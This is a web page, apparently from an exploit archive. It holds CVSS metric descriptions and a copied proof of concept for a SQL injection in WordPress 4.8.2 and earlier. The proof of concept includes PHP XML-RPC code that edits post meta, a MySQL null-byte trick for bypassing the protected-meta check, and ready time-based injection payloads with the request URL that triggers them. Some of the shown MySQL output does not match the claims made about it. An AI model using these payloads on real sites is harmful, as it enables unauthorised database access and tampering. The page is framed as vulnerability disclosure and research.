The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
Low
A
There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.
Below is a copy: Wordpress <= 4.8.2 SQL Injection POC
Wordpress <= 4.8.2 SQL Injection POC
Author: Ambulong@vulspy
I found this vulnerability after reading slavcos post, and reported it to Wordpress Team via Hackerone on Sep. 2nd, 2017. But, unfortunately, WordPress team didnt pay attention to this report too.
# SQL Injection Details
Wordpress SQLi by slavco https://medium.com/websec/wordpress-sqli-bbb2afcc8e94
Wordpress SQLiPoC by slavco https://medium.com/websec/wordpress-sqli-poc-f1827c20bf8e
Wordpress SQLihow to find by slavco https://medium.com/websec/wordpress-sqli-how-to-find-ebee713457e4
Disclosure: WordPress WPDB SQL Injection - Technical by ircmaxell
# POC Details
If you already found out the potential sqli in wordpress, you would know that we need to insert our playload into _thumbnail_id meta in order to launch the sqli attack.
## Wordpress 4.7.4 Lack of capability checks for post meta data in the XML-RPC API
This vulnerability have mentioned in slavcos post: Wordpress SQLi
Reference: WordPress 4.7.5 Security and Maintenance Release
POC
$usr = 'author';
$pwd = 'author';
$xmlrpc = 'http://local.target/xmlrpc.php';
$client = new IXR_Client($xmlrpc);
$content = array("ID" => 6, 'meta_input' => array("_thumbnail_id"=>"xxx"));
$res = $client->query('wp.editPost',0, $usr, $pwd, 6/*post_id*/, $content);
## Wordpress 4.8.2 POST Meta Protection Bypass
A trick of Mysql
1). A normal query for _thumbnail_id
mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id';
+---------+---------+----------------+------------+
| meta_id | post_id | meta_key | meta_value |
+---------+---------+----------------+------------+
| 4 | 4 | _thumbnail_id | TESTC |
+---------+---------+----------------+------------+
1 row in set (0.00 sec)
2). Change the meta_value of _thumbnail_id to \x00_thumbnail_id
mysql> update wp_postmeta set meta_key = concat(0x00,'TESTC') where meta_value = '_thumbnail_id';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0 Changed: 0 Warnings: 0
3). Query by _thumbnail_id again
mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id';
+---------+---------+----------------+------------+
| meta_id | post_id | meta_key | meta_value |
+---------+---------+----------------+------------+
| 4 | 4 | _thumbnail_id | TESTC |
+---------+---------+----------------+------------+
1 row in set (0.00 sec)
POST Meta Protection Bypass
This is the is_protected_meta(./wp-includes/meta.php) method used to check the validation of post meta:
function is_protected_meta( $meta_key, $meta_type = null ) {
$protected = ( '_' == $meta_key[0] );
/**
* Filters whether a meta key is protected.
*
* [@since](/since) 3.2.0
*
* [@param](/param) bool $protected Whether the key is protected. Default false.
* [@param](/param) string $meta_key Meta key.
* [@param](/param) string $meta_type Meta type.
*/
return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type );
}
The code just checks the first character of $meta_key, from the mysql trick, we can use %00_ to bypass it.
POC
Add New Custom Field, Name:_thumbnail_id Value:55 %1$%s or sleep(10)#
Click Add Custom Field button.
Modify the HTTP request, _thumbnail_id => %00_thumbnail_id
Launch the attack. Visit /wp-admin/edit.php?action=delete&_wpnonce=xxx&ids=55 %1$%s or sleep(10)#.
Time-line:
Sep. 2th - I report the vulnerability to WP Team via Hackerone.
Sep. 6th - WP Team ask for details.
Sep. 6th - I post the details.
Sep. 6th to now - I havent received any response yet
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum